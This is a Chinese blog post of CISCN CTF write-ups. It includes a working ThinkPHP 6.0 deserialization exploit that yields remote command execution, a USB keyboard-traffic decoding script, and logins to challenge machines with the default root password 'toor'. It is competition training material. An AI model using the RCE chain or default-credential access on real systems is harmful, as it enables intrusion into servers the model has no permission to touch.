前言
博客鸽了好久了,前脚刚打完ISCC,后脚就来CISCN,还有期末考试,真就“下了考场上赛场,下了赛场上考场”
ISCC最后几个小时诸神黄昏,师傅们疯狂上分,刷新一下掉一名,直接手动ajax了.. 最后好在保住了500名以内,最后河南赛区排160
CISCN从上午开始,上午的理论题是真🐕啊,感谢国赛帮我复习《数据安全法》和《网络安全治安管理条例》。最后踩着点做了1150分

前脚理论题刚完就开始CTF题,虽然就一天,都说国赛坐牢,做完之后,嗯,确实真的坐牢

值得一提的是Crypto的非预期,这个我是真的没想到,后来才发现,出题人估计是直接拉去的公共镜像没有改,靶机的start.sh里面还有一个权限提示,不过这root用户直接送出去了,权限755还有用吗...

然后上WP
Ezpop
进去后是ThinkPHP的默认页面,还是LTS版,判断出是Thinkphp V6.0的反序列化漏洞

参考https://blog.csdn.net/m0_47968686/article/details/122617617,本地构造pop链。
具体exp为:
<?php
namespace think\model\concern;
trait Attribute
{
private $data = ["key" => ["key1" => "cat /flag.txt"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
}
namespace think;
abstract class Model
{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
private $exists;
private $force;
protected $table;
protected $jsonAssoc;
function __construct($obj = '')
{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->table = $obj;
$this->jsonAssoc = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(serialize($b));
index.php位于/app/controller,发包的目录为/index.php/index/test,首先whoami一下测试:

测试成功,首先先ls一下根目录

在根目录下发现flag.txt,cat flag.txt获取到flag

flag{64394638-135a-41b6-91a9-3dd35ce36383}
Ez_usb

下载流量包,使用wireshark打开,发现是USB流量
经过分析2.4.1是一个USB设备流量,2.8.1和2.10.2是键盘流量
首先使用wireshark的过滤规则筛选,将这几个流量分开导出

之后使用tshark.exe将几个流量包中的数据提取出来
./tshark -r ez_uasb.pcapng -T fields -e usb.capdata > d:\outt.txt
然后使用脚本格式化数据(加上冒号)
f=open(input("filename"),'r',encoding="utf_8")
fi=open('usbout2.txt','w')
while 1:
a=f.readline().strip()
if a:
if len(a)==16:#键盘流量的话len为16鼠标为8
out=''
for i in range(0,len(a),2):
if i+2 != len(a):
out+=a[i]+a[i+1]+":"
else:
out+=a[i]+a[i+1]
fi.write(out)
fi.write('\n')
else:
break
fi.close()
之后就对应敲击码使用脚本输出两个流中的内容
mappings = { 0x04:"A", 0x05:"B", 0x06:"C", 0x07:"D", 0x08:"E", 0x09:"F", 0x0A:"G", 0x0B:"H", 0x0C:"I", 0x0D:"J", 0x0E:"K", 0x0F:"L", 0x10:"M", 0x11:"N",0x12:"O", 0x13:"P", 0x14:"Q", 0x15:"R", 0x16:"S", 0x17:"T", 0x18:"U",0x19:"V", 0x1A:"W", 0x1B:"X", 0x1C:"Y", 0x1D:"Z", 0x1E:"1", 0x1F:"2", 0x20:"3", 0x21:"4", 0x22:"5", 0x23:"6", 0x24:"7", 0x25:"8", 0x26:"9", 0x27:"0", 0x28:"\n", 0x2a:"[DEL]", 0X2B:" ", 0x2C:" ", 0x2D:"-", 0x2E:"=", 0x2F:"[", 0x30:"]", 0x31:"\\", 0x32:"~", 0x33:";", 0x34:"'", 0x36:",", 0x37:"." }
nums = []
keys = open('usbout.txt')
for line in keys:
if line[0]!='0' or line[1]!='0' or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0':
continue
nums.append(int(line[6:8],16))
keys.close()
output = ""
for n in nums:
if n == 0 :
continue
if n in mappings:
output += mappings[n]
else:
output += '[unknown]'
print ('output :\n' + output)

2.8.1的流中看十六进制像是一个压缩包,[unknown]是Caplock,后面还有一个[del]说明删除了之后的字符,修改后得到一个rar压缩包
2.8.2的流导出了一小段字符串,考虑到有按Caplock键,将字符串转小写后是压缩包密码,解压得到flag.txt 即为flag

基于挑战码的双向认证1
考虑到环境可能是直接拉下来的公共镜像改的,尝试了root用户,密码用toor,成功登录root用户

随后再去读取/root中的内容
在

start.sh中找到flag位置 /root/cube-shell/instance/flag_server
成功读取flag

: flag{b27f8b20-d7e6-497e-a052-13d99ad64dce}
基于挑战码的双向认证2
接上一步,读取同目录下的flag2.txt:

flag{34f5fdaf-c373-47fd-afab-01ed2914c11a}
基于挑战码的双向认证3
这个题目和之前的一样,不过换了个环境,仍使用root/toor登录,在老地方/root/cube-shell/instance/flag_server,不过这次flag1.txt是伪flag,读取flag2.txt得到本题flag

问卷调查
额,这个还需要写吗,如果需要也就填完问卷后wp不能复制,F12复制的
最后

最后成绩是330,太菜了,前三百都没进,不知道能不能进线下,希望吧,明天还有考试,复习去了~
